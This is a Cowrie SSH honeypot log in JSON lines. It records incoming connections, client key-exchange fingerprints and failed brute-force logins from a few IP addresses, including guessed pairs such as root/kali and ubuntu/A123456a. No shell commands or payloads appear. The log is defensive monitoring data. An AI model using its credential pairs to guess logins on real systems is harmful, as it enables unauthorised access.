{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:13.706658Z","src_ip":"91.92.42.227","session":"de5246d79a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:13.711375Z","src_ip":"91.92.42.227","session":"de5246d79a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:13.795838Z","src_ip":"103.15.222.183","session":"aa5bf8e61e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:13.807292Z","src_ip":"45.156.87.147","session":"15592e8044e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19051980","message":"login attempt [root/19051980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:14.532201Z","src_ip":"103.15.222.183","session":"aa5bf8e61e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:15.267163Z","src_ip":"91.92.42.227","session":"de5246d79a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:15.777847Z","src_ip":"103.15.222.183","session":"aa5bf8e61e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:16.747443Z","src_ip":"91.92.42.227","session":"de5246d79a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33146,"dst_ip":"10.17.0.5","dst_port":22,"session":"15251ab5f541","protocol":"ssh","message":"New connection: 45.156.87.147:33146 (10.17.0.5:22) [session: 15251ab5f541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:17.760388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:17.765184Z","src_ip":"45.156.87.147","session":"15251ab5f541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:17.847472Z","src_ip":"45.156.87.147","session":"15251ab5f541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:18.096881Z","src_ip":"45.156.87.147","session":"15251ab5f541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:19.183784Z","src_ip":"45.156.87.147","session":"15251ab5f541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35746,"dst_ip":"10.17.0.5","dst_port":22,"session":"3695d6ced844","protocol":"ssh","message":"New connection: 91.92.42.227:35746 (10.17.0.5:22) [session: 3695d6ced844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:20.678303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:20.808737Z","src_ip":"91.92.42.227","session":"3695d6ced844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:20.811924Z","src_ip":"91.92.42.227","session":"3695d6ced844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:21.547796Z","src_ip":"91.92.42.227","session":"3695d6ced844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:22.819181Z","src_ip":"91.92.42.227","session":"3695d6ced844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38510,"dst_ip":"10.17.0.5","dst_port":22,"session":"e75114da6b86","protocol":"ssh","message":"New connection: 45.156.87.147:38510 (10.17.0.5:22) [session: e75114da6b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:23.293284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:23.297844Z","src_ip":"45.156.87.147","session":"e75114da6b86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:23.379404Z","src_ip":"45.156.87.147","session":"e75114da6b86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:23.630585Z","src_ip":"45.156.87.147","session":"e75114da6b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:24.721771Z","src_ip":"45.156.87.147","session":"e75114da6b86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59858,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea6341e30a7c","protocol":"ssh","message":"New connection: 91.92.42.227:59858 (10.17.0.5:22) [session: ea6341e30a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:27.302319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:27.308008Z","src_ip":"91.92.42.227","session":"ea6341e30a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:27.404984Z","src_ip":"91.92.42.227","session":"ea6341e30a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456a","message":"login attempt [ubuntu/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:27.819051Z","src_ip":"91.92.42.227","session":"ea6341e30a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38520,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5217e0b18b","protocol":"ssh","message":"New connection: 45.156.87.147:38520 (10.17.0.5:22) [session: fc5217e0b18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:28.998198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:29.003857Z","src_ip":"45.156.87.147","session":"fc5217e0b18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:29.068849Z","src_ip":"91.92.42.227","session":"ea6341e30a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:29.086889Z","src_ip":"45.156.87.147","session":"fc5217e0b18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:29.341664Z","src_ip":"45.156.87.147","session":"fc5217e0b18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:30.426521Z","src_ip":"45.156.87.147","session":"fc5217e0b18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59914,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdb3a94cdc56","protocol":"ssh","message":"New connection: 91.92.42.227:59914 (10.17.0.5:22) [session: cdb3a94cdc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:33.627488Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58520,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2e65614d657","protocol":"ssh","message":"New connection: 62.133.62.83:58520 (159.203.135.109:22) [session: d2e65614d657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:33.776768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:33.781326Z","src_ip":"62.133.62.83","session":"d2e65614d657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:33.864315Z","src_ip":"62.133.62.83","session":"d2e65614d657","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:33.920484Z","src_ip":"91.92.42.227","session":"cdb3a94cdc56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:33.923614Z","src_ip":"91.92.42.227","session":"cdb3a94cdc56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night","message":"login attempt [root/night] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:34.104496Z","src_ip":"62.133.62.83","session":"d2e65614d657","protocol":"ssh"}
